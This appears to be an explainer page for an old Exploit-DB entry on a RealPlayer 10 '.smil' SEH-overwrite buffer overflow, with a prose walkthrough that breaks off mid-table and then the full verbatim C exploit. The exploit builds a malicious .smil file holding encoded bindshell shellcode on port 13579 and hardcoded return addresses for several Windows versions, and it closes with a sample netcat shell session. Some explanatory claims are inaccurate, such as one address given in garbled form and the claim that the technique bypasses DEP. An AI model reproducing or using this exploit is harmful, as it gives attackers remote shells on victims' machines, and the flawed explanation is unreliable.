RealNetworks RealPlayer 10 '.smil' Local Buffer Overflow Explained

RealNetworks RealPlayer 10 '.smil' Local Buffer Overflow Explained
What this paper is
This paper details a local buffer overflow vulnerability in RealPlayer 10, specifically when processing .smil files. A .smil file (Synchronized Multimedia Integration Language) is an XML-based markup language used for creating multimedia presentations. The exploit allows an attacker to craft a malicious .smil file that, when opened by a vulnerable version of RealPlayer, overwrites critical memory structures, leading to the execution of arbitrary code. The exploit targets the Structured Exception Handling (SEH) mechanism to gain control of the program's execution flow.
Simple technical breakdown
The core of the exploit lies in how RealPlayer 10 handles the content of a .smil file. The .smil file structure allows for embedding various multimedia elements and their properties. The vulnerability occurs because the program doesn't properly validate the size of data it reads into a buffer when processing certain attributes within the .smil file.
An attacker can create a .smil file with an excessively long string in a specific attribute. This long string overflows a fixed-size buffer in RealPlayer's memory. The overflow overwrites adjacent memory, including the SEH handler pointer. By carefully crafting the overflow data, the attacker can replace the SEH handler pointer with an address that points to their own malicious code (shellcode). When an exception occurs (which can be triggered by the overflow itself or by subsequent operations), the program attempts to use the overwritten SEH handler, leading to the execution of the attacker's shellcode.
The exploit uses a technique called "SEH overwrite," which is a common method for achieving code execution in older Windows applications. It involves overwriting the SEH chain with pointers to "pop, pop, ret" gadgets or directly to shellcode.
Complete code and payload walkthrough
The provided C code constructs a malicious .smil file. Let's break down its components:
1. Pre-defined String Components:
pre[]: This character array contains the beginning of the.smilXML structure."<smil>\n": Starts the SMIL document." <head>\n": Opens the head section." <layout>\n": Defines the layout region." <region id=\"a\" top=\"5\" />\n": Defines a region with ID "a" and a top offset of 5 pixels." </layout>\n": Closes the layout section." </head>\n": Closes the head section." <body>\n": Opens the body section." <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\": This is the crucial part. It starts a<text>element. Thesystem-screen-sizeattribute is where the overflow will occur. The value of this attribute is what the exploit code will overwrite.
shellcode[]: This is the actual payload, a sequence of bytes designed to be executed by the vulnerable program.- The comment indicates it's a "bindshell port 13579 thx to metasploit.com :)" and lists restricted characters. This means the shellcode is designed to listen on port 13579 for incoming connections, providing a remote shell. The restricted characters are those that are problematic for certain encoding schemes or might terminate string operations prematurely.
- The bytes themselves are machine code instructions for the x86 architecture. Without a disassembler, it's hard to give a precise step-by-step breakdown of every byte's function. However, typical bindshell shellcode involves:
- Socket creation.
- Binding the socket to a specific port (13579 in this case).
- Listening for incoming connections.
- Accepting a connection.
- Duplicating standard input, output, and error file descriptors to the accepted socket.
- Executing a shell (like
cmd.exe).
end[]: This character array contains the closing tags for the.smilXML structure." </body>": Closes the body section."</smil>": Closes the SMIL document.
2. The overflow Buffer and main Function:
char overflow[1700];: Declares a large buffer intended to hold the crafted overflow data. The size (1700 bytes) is significantly larger than what thepreandendstrings would normally require, accommodating the padding, SEH overwrite, and shellcode.int main(int argc,char *argv[]): The main function of the C program.if(argc == 1): Checks if the program was run with at least one command-line argument. If not, it prints usage instructions and exits. This argument is expected to be the output filename for the.smilfile.vuln = fopen(argv[1],"w");: Opens the specified output file in write mode.memset(overflow,0x90,sizeof(overflow));: Initializes theoverflowbuffer with NOP (No Operation) instructions (0x90). NOPs are often used as padding to ensure that if execution lands anywhere within a block of NOPs, it will slide down to the actual shellcode.memcpy(overflow+1068,"\xeb\x08\xeb\x08",4);: This sequence\xeb\x08is a short jump instruction (jump 8 bytes forward). It's likely used to create small jumps to bypass certain checks or to align execution to the next instruction. This is placed at offset 1068.memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4);: This is a pointer to a SEH handler. The comment states it's for "se handler in win xp (pop pop ret)". This specific address0x61c9e14ais likely a "pop, pop, ret" instruction sequence found in a loaded module (likemsvcrt.dllor similar) on Windows XP. When an exception occurs, the SEH handler is called. This address replaces the original handler, and executing it will pop two values off the stack and then return, effectively continuing execution at the address on top of the stack after the return address. This is a common technique to bypass DEP (Data Execution Prevention) if it's not enabled or if the gadget is in executable memory.memcpy(overflow+1084,"\xeb\x08\xeb\x08",4);: Another pair of short jumps, likely for alignment or control flow manipulation.memcpy(overflow+1088,"\xae\x7f\xA2\x60",4);: This is another SEH handler pointer, commented as "se handler in win2k3 (pop pop ret) for small biz or something". This address0x60a27faeis another potential "pop, pop, ret" gadget, possibly found in a different module or at a different location on Windows Server 2003.memcpy(overflow+1100,"\xeb\x08\xeb\x08",4);: Another jump sequence.memcpy(overflow+1104,"\xae\x7f\xA2\x60",4);: This is a duplicate of the previous Win2k3 SEH handler, possibly for "enterprise" versions.memcpy(overflow+1108,"\xeb\x08\xeb\x08",4);: Another jump sequence.memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4);: This is the SEH overwrite for Windows 2000. The comment says "overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^)". This address0x60a2bbbis likely aCALL EBXinstruction.EBXwould have been set by previous instructions to point to the start of the shellcode. This is another way to redirect execution.memcpy(overflow+1125,shellcode,sizeof(shellcode));: The actual shellcode is copied into theoverflowbuffer at offset 1125. This offset is chosen to be after the SEH overwrite and any necessary padding (NOPs). The shellcode is placed here so that when the SEH handler executes its "pop, pop, ret" or "CALL EBX" instruction, it will eventually land on and execute this shellcode.fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);: This is where the.smilfile is constructed. It concatenates theprestring, the craftedoverflowbuffer, and theendstring, writing the result to the output file. Theoverflowbuffer is inserted where thesystem-screen-sizeattribute value would normally be.fclose(vuln);: Closes the output file.printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");: Informs the user that the exploit file has been created and how to use it.
Mapping of Code Fragments to Practical Purpose:
| Code Fragment/Block | Practical Purpose
Original Exploit-DB Content (Verbatim)
/* RealPlayer .smil file buffer overflow
Coded by nolimit@CiSO & Buzzdee
greets to COREiSO & #news & flare & class101 & ESI & RVL & everyone else I forget
This uses a seh overwrite method, which takes advantage of the SEH being placed
in multiple locations over the different OS's. Because of this, it should be
completely universal. :).
Also, we added SEH for enterprise and Standard, if you have a diff 2k3 then deal with it and write your own in.
C:\tools>nc -vv SERVER 1554
SERVER [192.168.1.93] 1554 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\Program Files\Real\RealPlayer>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char pre[]=
"<smil>\n"
" <head>\n"
" <layout>\n"
" <region id=\"a\" top=\"5\" />\n"
" </layout>\n"
" </head>\n"
" <body>\n"
" <text src=\"1024_768.en.txt\" region=\"size\" system-screen-size=\"";
char shellcode[]=
/* bindshell port 13579 thx to metasploit.com :)
restricted chars: 0x00, 0x90, 0xa0, 0x20, 0x0a, 0x0d, 0x3c, 0x3e,
0x2f, 0x5c, 0x22, 0x58, 0x3d, 0x3b */
"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"
"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"
"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"
"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"
"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"
"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"
"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"
"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"
"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"
"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"
"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"
"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"
"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"
"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"
"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"
"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"
"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"
"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"
"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"
"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"
"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"
"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";
char end[]=
" </body>"
"</smil>";
char overflow[1700];
int main(int argc,char *argv[])
{
FILE *vuln;
if(argc == 1)
{
printf("RealPlayer 10 .smil file local buffer overflow.\n");
printf("Coded by nolimit & buzzdee.\n");
printf("Usage: %s <outputfile>\n",argv[0]);
return 1;
}
vuln = fopen(argv[1],"w");
//build overflow buffer here.
memset(overflow,0x90,sizeof(overflow)); //fill with nops
memcpy(overflow+1068,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1072,"\x4a\xe1\xc9\x61",4); // se handler in win xp (pop pop ret)
memcpy(overflow+1084,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1088,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) for small biz or something
memcpy(overflow+1100,"\xeb\x08\xeb\x08",4); //
memcpy(overflow+1104,"\xae\x7f\xA2\x60",4); // se handler in win2k3 (pop pop ret) enterprise
memcpy(overflow+1108,"\xeb\x08\xeb\x08",4); //jump +8 into nops
memcpy(overflow+1112,"\xbf\xbb\xA2\x60",4); //overwrite seh (win2k) with call ebx (pncrt.dll - hopefully universal ...^^)
memcpy(overflow+1125,shellcode,sizeof(shellcode)); //our shellcode after some nope to land in
if(vuln)
{
//Write file
fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);
fclose(vuln);
}
printf("File written.Binds a shell on port 13579.\nOpen with realplayer to exploit.\n");
return 0;
}
// milw0rm.com [2005-03-07]